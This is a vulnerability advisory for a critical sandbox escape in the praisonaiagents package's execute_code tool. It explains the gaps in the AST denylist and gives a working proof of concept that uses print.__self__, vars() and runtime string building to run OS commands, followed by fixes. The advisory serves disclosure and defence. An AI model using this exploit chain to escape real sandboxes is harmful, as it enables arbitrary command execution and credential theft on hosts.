PT-2026-45051 · Pypi · Praisonai+1
Published
2026-05-29
·
Updated
2026-05-29
·
CVE-2026-47392
CVSS v3.1
9.9
Critical
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Summary
execute code() in praisonaiagents/tools/python tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print. self to retrieve the real Python builtins module, from which import can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (
type. getattribute trampoline).Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
Root Cause
Three independent gaps in the AST-based security validation:
Gap 1: self missing from blocked attrs
In CPython, all built-in functions (C-level functions) have a
self attribute that returns the module they belong to. The built-in functions in safe builtins (print, len, range, etc.) are the real CPython built-in functions, so print. self returns <module 'builtins' (built-in)>.The
blocked attrs frozenset (line 52) does NOT include self. The AST check at line 74 only blocks attributes that are IN this set, so print. self passes.Gap 2: vars not blocked as callable or attribute
builtins.vars(obj) returns obj. dict . The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, import, open, input, breakpoint, setattr, delattr, dir). And vars is not in blocked attrs for attribute access.So
b.vars(b) (where b is the builtins module) returns builtins. dict — a dict containing ALL built-in functions including import, exec, eval, open, etc.Gap 3: AST Call check only catches ast.Name nodes
The dangerous-call check (line 82-88) only fires when
isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:- Attribute calls:
b.exec(...)— func isast.Attribute - Subscript calls:
d["exec"](...)— func isast.Subscript
Gap 4: Runtime string construction bypasses string constant check
The string constant check (line 92-98) catches literals like
" import ", but NOT runtime concatenation like " " + " " + "import" + " " + " ". The AST sees 5 separate Constant nodes (" ", " ", "import", " ", " "), none of which contain any blocked attr as a substring.Proof of Concept
python
from praisonaiagents.tools.python tools import execute code
# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print. self
d = b.vars(b)
key = " " + " " + "import" + " " + " "
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...
', 'stderr': '', 'success': True}Step-by-step bypass analysis:
| Line | AST node | Check | Result |
|---|---|---|---|
print. self | Attribute(attr=' self ') | self in blocked attrs? | NO → passes |
b.vars | Attribute(attr='vars') | vars in blocked attrs? | NO → passes |
b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes |
" ", "import" | Constant(value=str) | Contains blocked attr? | NO → passes |
d[key] | Subscript | Not checked | passes |
imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |
Result: Full sandbox escape → arbitrary command execution
Impact
An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:
- Execute arbitrary commands on the host system
- Read/write any file accessible to the process
- Exfiltrate environment variables, API keys, and credentials
- Pivot to internal networks
- Install persistent backdoors
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: All versions through 1.6.37 (latest)
- Component:
praisonaiagents/tools/python tools.py,execute code sandboxed()function - Default configuration affected: Yes (
sandbox mode="sandbox"is the default)
Remediation
Immediate fix
Add
self to blocked attrs:python
blocked attrs = frozenset({
...,
' self ', # Built-in functions leak their parent module
})Additional hardening
- Block
varsin the callable blocklist - Extend the
ast.Callcheck to also catchast.Attributeandast.Subscriptfunction nodes - Add AST check for
BinOpstring concatenation that could construct blocked attr names
Fundamental recommendation
Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
- Using
isolated-vm(Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor)
- Removing in-process code execution entirely in favor of containerized execution
Fix
Protection Mechanism Failure
Incomplete List of Disallowed Inputs
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai
Praisonaiagents